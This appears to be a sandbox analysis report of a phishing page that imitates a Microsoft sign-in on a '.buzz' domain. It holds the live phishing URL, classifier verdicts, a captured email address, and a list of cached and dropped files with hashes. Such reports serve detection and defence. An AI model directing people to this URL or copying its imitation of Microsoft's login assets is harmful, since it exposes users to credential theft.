a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("rickorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("xintegrity",t)),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("s
URL: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSU Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Trying to sign you in", "prominent_button_name": "Cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSU Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSU Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "yvlo04@lhzg.net" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSU Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSU Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is classified as 'wellknown'.", "The legitimate domain for Microsoft is 'microsoft.com'.", "The provided URL 'interconnectednessresilient.buzz' does not match the legitimate domain for Microsoft.", "The domain uses an unusual extension '.buzz', which is not typically associated with Microsoft.", "The URL does not contain any recognizable elements related to Microsoft, indicating a potential phishing attempt." ], "riskscore": 9} Google indexed: False
URL: interconnectednessresilient.buzz Brands: Microsoft Input Fields: yvlo04@lhzg.net

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Reputation:	low
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.018989605004616
Encrypted:	false
SSDEEP:	48:p/hUI1OwEU3AdIq7ak68O40E2szOxxUJ8BPFkf31U4PrHfqY3J5D:RnOwtQIq7aZ40E2sYUJAYRr/qYZ5D
MD5:	C4709C1D483C9233A3A66A7E157624EA
SHA1:	99A000EB5FE5CC1E94E3155EE075CD6E43DC7582
SHA-256:	225243DC75352D63B0B9B2F48C8AAA09D55F3FB9E385741B12A1956A941880D9
SHA-512:	B45E1FD999D1340CC5EB5A49A4CD967DC736EA3F4EC8B02227577CC3D1E903341BE3217FBB0B74765C72085AC51C63EEF6DCB169D137BBAF3CC49E21EA6468D7
Malicious:	false
Reputation:	low
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJVczFpOUt3Zm5uMThTVVR1RVItRXBDTTMwVzFkNTc0cGJwUlJSdGJYM0JVIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiM0hiWThLc3poeEF6UDVSUU9fZEpvZGNwbEtpRXR0RWh2UmZMZEtjSTdjZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMS44LjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"lGxZ1-AH7F8MftKSBdZiFULmC8hZkIHy1_2XIoU81Z5mK0wHVwNV7-55CBTcuuvKjTje-AnKLDoG4S0A_Jeg4lSQK5V_Q4f6JVqp5Vj_ge86YkRZEv4m1bjKRY4N17SHobwuH8Hc_kAugFIlG1LIDHnrm1N7ZWIqo3fVlnVqgSstmvFXAhBazgs1UYRi3hPjPM6e1q1i2N1mIUbxLvG41frGo2QJ8W5J3buUjzs-0y250k-YkadKAR0

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.820000180714897
Encrypted:	false
SSDEEP:	3:SVzHL3phUmWRDNKydvgHVz:SBHLLUmWRbCp
MD5:	BBEC7670A2519FEB0627F17D0C0B5276
SHA1:	9C30B996F1B069F86EF7C0136DFAF7E614674DEA
SHA-256:	670A6F6BBADAB2C2BE63898525FCAF72E7454739E77C04D120BC1A46B6694CAC
SHA-512:	1ED4ED6AE2A2CBE86F9E8C6C7A2672EBB2F37DBE83D2BF09D875DB435ED63BF5F5CF60CA846865166F9A498095F6D61BD51B0A092E097430439E8A5A3A14CB15
Malicious:	false
Reputation:	low
Preview:	1.03cccbb22b17080279ea1707c9ab093c59f4f4dd09580c841cfa794cb372228d

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.462192586591686
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1kULJVPY:F6VlM8aRWpqS1kSJVg
MD5:	084E339C0C9FE898102815EAC9A7CDEA
SHA1:	6ABF7EAAA407D2EAB8706361E5A2E5F776D6C644
SHA-256:	52CD62F4AC1F9E7D7C4944EE111F84A42337D16D5DE7BE296E945146D6D7DC15
SHA-512:	0B67A89F3EBFF6FEC3796F481EC2AFBAC233CF64FDC618EC6BA1C12AE125F28B27EE09E8CD0FADB8F6C8785C83929EA6F751E0DDF592DD072AB2CF439BD28534
Malicious:	false
Reputation:	low
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.11.8.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	4.629347296880043
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJl:v5C4ql7BkIVmtRTGXvcxBsl
MD5:	8C702C686B703020BC0290BAFC90D7A0
SHA1:	EB08FF7885B4C1DE3EF3D61E40697C0C71903E27
SHA-256:	97D9E39021512305820F27B9662F0351E45639124F5BD29F0466E9072A9D0C62
SHA-512:	6137D0ED10E6A27924ED3AB6A0C5F9B21EB0E16A876447DADABD88338198F31BB9D89EF8F0630F4573EA34A24FB3FD3365D7EA78A97BA10028A0758E0A550739
Malicious:	false
Reputation:	low
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 109808, version 772.1280
Category:	downloaded
Size (bytes):	109808
Entropy (8bit):	7.990726638724642
Encrypted:	true
SSDEEP:	1536:598+segXMbYt4ZF+jfdgY0q+JtV63kYFF8ChI+2F2aqQPj+QU0yXbO/YvSdE:AeeemxT+kkgeChI+20aqqDhcSK
MD5:	005C9AA92B564B73B7582CC4F1FA49CB
SHA1:	373361ED756B1FE68CE2F5968D467826B6973BB5
SHA-256:	FAAE6FC0AA94CC5BDE5076647C817A23206096A1CBEDA10D1C6F3D89D6163ED1
SHA-512:	CF057683226D25FAB8518295D9A2BBC7261B85A0E911D323F949719B6484BEB99843887AC634E58F21988C5AF3B8D825B8289CBFE29B2D4E1817016BE1499BBA
Malicious:	false
Reputation:	low
URL:	https://static.web-repository.com/fonts/fontawesome-v6/fa-brands-400.woff2
Preview:	wOF2...............l.............................8.$. .`..$.....\|.(.. . ..fq..".....~..:......!!.T5..?.........e`...e;........}N..'.~..*.F..QV...7..E..........(.a$9u.%....\|j... v..n..........v.lz..t...}..~.....1.XJ...-[...K.....,._...Qw...G..8..9.E.'\.:of4#.Y@iW....J.@....}d..3Q.M....C...\..v.).r.)..\........;..k.6;........>..I..k..~.8.0.A.X>...?h.R....B..%.....i........WUW.......Q..Y(!.I(.B.EFB2.m..ad..6J...0..Yo;.5..!c9$..3..W.@Xk.J...{,.~.35..}Y.......d....v6....r.^fE.eu/......"....n,.......0.....r..pDE.....3?..nF.l......jR&...&e..7......92.../rH.12cdW.NZ..)...K-V..+-v.1....h.B....1....\| ...L..../...a..i.{.}.i....i.J../..M.<..&...}..c......QM.Y..?.....-..t&.$.)>.......o..?.....c....Zq...R.q...Ww...g.'.....W......E.8o....I.Rn .....l{.g...%...LWK...M..3..z]..8.\..Y.G.N......@.9..m.(..{....\U.....[B......;^..^.V.=.._-kB.<..I.....H.....'...S.@!...s.H..c.vr.{.R<T.\C.B~<O.\|../Ze...\|.<..'?.U.V>7.Y...I5.uh..//...2Di1x..K.'m......i...,.qoIn.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HaCkY:6CR
MD5:	65550D7D3BC5AEEF60F6F5B290DC5254
SHA1:	4E9BDA12E6DA4A92592A8F6ECA9415538C20955E
SHA-256:	4FE84101187A913E59BA52FC821F5B2D3A82383DAFBED41878FCD7A4CAFF499B
SHA-512:	7B5060DC6FCEFC2E52ADD31105EF88B725FE9F528EB326D7B9A4200990DA865ED75D26700AA904D2B57E7950F38AFF6BB183866BE0FE54AD0A9A03310E7F4BED
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAmoQC82ud9rORIFDbad3kc=?alt=proto
Preview:	CgkKBw22nd5HGgA=

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	689017
Entropy (8bit):	4.210697599646938
Encrypted:	false
SSDEEP:	6144:rnQWWDY3mr16XRxcpuEhjMPRKkC0d7xyF0FA9OgoUE0HUN4oe+:rBWU3xhDKkTshoj5
MD5:	3E89AE909C6A8D8C56396830471F3373
SHA1:	2632F95A5BE7E4C589402BF76E800A8151CD036B
SHA-256:	6665CA6A09F770C6679556EB86CF4234C8BDB0271049620E03199B34B4A16099
SHA-512:	E7DBE4E95D58F48A0C8E3ED1F489DCF8FBF39C3DB27889813B43EE95454DECA2816AC1E195E61A844CC9351E04F97AFA271B37CAB3FC522809CE2BE85CC1B8F0
Malicious:	false
Reputation:	low
Preview:	.!(function (e) {. function n(n) {. for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++). (i = o[s]),. Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]),. (a[i] = 0);. for (t in r) Object.prototype.hasOwnProperty.call(r, t) && (e[t] = r[t]);. for (d && d(n); c.length; ) c.shift()();. }. var t,. i = {},. a = { 22: 0 };. function o(n) {. if (i[n]) return i[n].exports;. var t = (i[n] = { i: n, l: !1, exports: {} });. return e[n].call(t.exports, t, t.exports, o), (t.l = !0), t.exports;. }. Function.prototype.bind \|\|. ((t = Array.prototype.slice),. (Function.prototype.bind = function (e) {. if ("function" != typeof this). throw new TypeError(. "Function.prototype.bind - what is trying to be bound is not callable". );. var n = t.call(arguments, 1),. i = n.length,. a = this,. o = function () {},. r = function () {. return (.

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://interconnectednessresilient.buzz/aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1445)
Category:	downloaded
Size (bytes):	12385
Entropy (8bit):	5.3464845559455405
Encrypted:	false
SSDEEP:	192:VWUwFUwhE3EWUYUKWUmUcWuWUjU7WUbUMfO4BQKWUNU0WUWUuWUEUGpjWUBFUB+C:c/If5fzBQk/eRedJn1MITa+admALG/EV
MD5:	9CA7DA6056CEC30ECB024C8B649C0A5B
SHA1:	66A80708EA7EC69C11EE54BEDCB0B6BCA1BCBF46
SHA-256:	91ED8ED0C2FFD2A3F0FA3F1E28F5E2DB04422558EB886B9E4334615FCF4EA531
SHA-512:	B5FD42C0B7F3319C13BE2778A5C75594281FBED28CD638E7F853ADC27267526CA52E078E67C3481C3879BFA6544CA96515BB6E12FD765E18D3C79A18454D497B
Malicious:	false
Reputation:	low
URL:	https://fonts.bunny.net/css?display=swap&family=Open+Sans:regular%7CPlayfair+Display:italic%7CRoboto:300%7CHammersmith+One:regular
Preview:	/* math */.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 400;. font-stretch: 100%;. font-display: swap;. src: url(https://fonts.bunny.net/open-sans/files/open-sans-math-400-normal.woff2) format('woff2'), url(https://fonts.bunny.net/open-sans/files/open-sans-math-400-normal.woff) format('woff'); . unicode-range: U+0302-0303,U+0305,U+0307-0308,U+0330,U+0391-03A1,U+03A3-03A9,U+03B1-03C9,U+03D1,U+03D5-03D6,U+03F0-03F1,U+03F4-03F5,U+2034-2037,U+2057,U+20D0-20DC,U+20E1,U+20E5-20EF,U+2102,U+210A-210E,U+2110-2112,U+2115,U+2119-211D,U+2124,U+2128,U+212C-212D,U+212F-2131,U+2133-2138,U+213C-2140,U+2145-2149,U+2190,U+2192,U+2194-21AE,U+21B0-21E5,U+21F1-21F2,U+21F4-2211,U+2213-2214,U+2216-22FF,U+2308-230B,U+2310,U+2319,U+231C-2321,U+2336-237A,U+237C,U+2395,U+239B-23B6,U+23D0,U+23DC-23E1,U+2474-2475,U+25AF,U+25B3,U+25B7,U+25BD,U+25C1,U+25CA,U+25CC,U+25FB,U+266D-266F,U+27C0-27FF,U+2900-2AFF,U+2B0E-2B11,U+2B30-2B4C,U+2BFE,U+FF5B,U+FF5D,U+1D400-1D7FF,U+1EE00-1EEFF;.}

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4287
Entropy (8bit):	4.91217210476915
Encrypted:	false
SSDEEP:	96:dQi5kPTfa50DD3pWlxNiBhhFV6Q4XTCxLK18uG4HDtAEOqKb5fK:drUCCLpWTNiBTnKTmKfjtxKb5C
MD5:	992A5733B4C2BE6D1420DE5C99AE79BC
SHA1:	D41B4FD15428EEB53238E769A3DAC31921FAA178
SHA-256:	5F0C8E109DEB7F767784B64956338D2216BB2DDC8522F12940A456A8C66D5F9F
SHA-512:	F573DDB09D07336971B5AF29E69E20A4C270FE263DB46B1E8310D8A583DA98E8889F39DE181EB16AD60F7B13E7F288395090C7C6600B9D071B0A07C3308781DB
Malicious:	false
Reputation:	low
URL:	https://static.web-repository.com/scripts/common/hit.js?v=1040
Preview:	.if (!WebPlatform.onReady) {. WebPlatform.documentReadyRequests = [];. WebPlatform.onReady = function (request) {. if (WebPlatform.documentReadyRequests === null) {. request();. } else {. WebPlatform.documentReadyRequests.push(request);. }. };.}..WebPlatform.collectPageStats = () => {. if (WebPlatform._pageStatsCollected === true) {. return;. }. const isPreview = WebPlatform.getUrlQueryParameter(window.location.href, 'preview') !== '';. if (!WebPlatform.areSystemAnalyticsEnabled() \|\| window.location.pathname.indexOf('/_preview') === 0 \|\| isPreview \|\| WebPlatform.pageForbidden === true) {. return;. }. WebPlatform._pageStatsCollected = true;. const who = (() => {. let ua = navigator.userAgent, tem,. M = ua.match(/(opera\|chrome\|safari\|firefox\|msie\|trident(?=\/))\/?\s*(\d+)/i) \|\| [];.. if (/trident/i.test(M[1])) {. tem = /\brv[ :]+(\d+)/g.exec(ua) \|\| [];. return ['Internet Explorer', (tem[1] \|\| '')];. }. if (M[1] === 'Chro

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://interconnectednessresilient.buzz/aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
